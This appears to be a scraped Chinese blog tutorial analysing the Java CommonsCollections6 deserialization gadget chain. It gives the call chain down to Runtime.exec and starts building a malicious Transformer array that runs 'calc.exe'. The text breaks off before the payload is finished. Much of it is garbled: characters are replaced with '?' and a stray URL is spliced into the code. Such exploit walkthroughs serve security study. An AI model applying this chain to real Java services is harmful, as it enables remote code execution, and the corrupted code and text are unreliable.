Java安全之CC6

前言之前三篇详细分析了CommonsCollections1利用链,两种方法,LazyMap以及TransformedMap,但是在Javaa 8u71以后,这个利?链不能再利?了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了
在ysoserial中,CC6解决了高版本不能利用的问题 。接下来就来看看
分析ysoserial中的代码过于复杂,所以来看这条简化版利?链:
/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()*/关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get(),因为 LazyMap#get后?的部分和CC1相同 。所以简单来说,解决Java?版本利?问题,实际上就是在高版本中找上下?中是否还有其他调?LazyMap#get()的地? 。
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue?法中调?了 this.map.get,?其hashCode?法调?了getValue?法
import org.apache.commons.collections.KeyValue;public class TiedMapEntry implements Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key; }public Object getKey() {return this.key; }public Object getValue() {return this.map.get(this.key); } // ...public int hashCode() {Object value = https://www.huyubaike.com/biancheng/this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode()); } // ...}所以,欲触发LazyMap利?链,要找到就是哪?调?了TiedMapEntry#hashCode
java.util.HashMap#readObject中就可以找到 HashMap#hash()的调?
public class HashMap<K,V> extends AbstractMap<K,V>implements Map<K,V>, Cloneable, Serializable {// ...static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}//...private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();//...for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = https://www.huyubaike.com/biancheng/(V) s.readObject();putVal(hash(key), key, value, false, false);}}}在HashMap的readObject?法中,调?到了hash(key),?hash?法中,调?到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前?的分析过程,构成?个完整的Gadget
构造?先,构造恶意LazyMap
Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },newObject[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class Object[].class },newObject[] { null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc.exe" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);为了避免本地调试时触发命令执 ?,在构造LazyMap的时候先??个?畜?害的

经验总结扩展阅读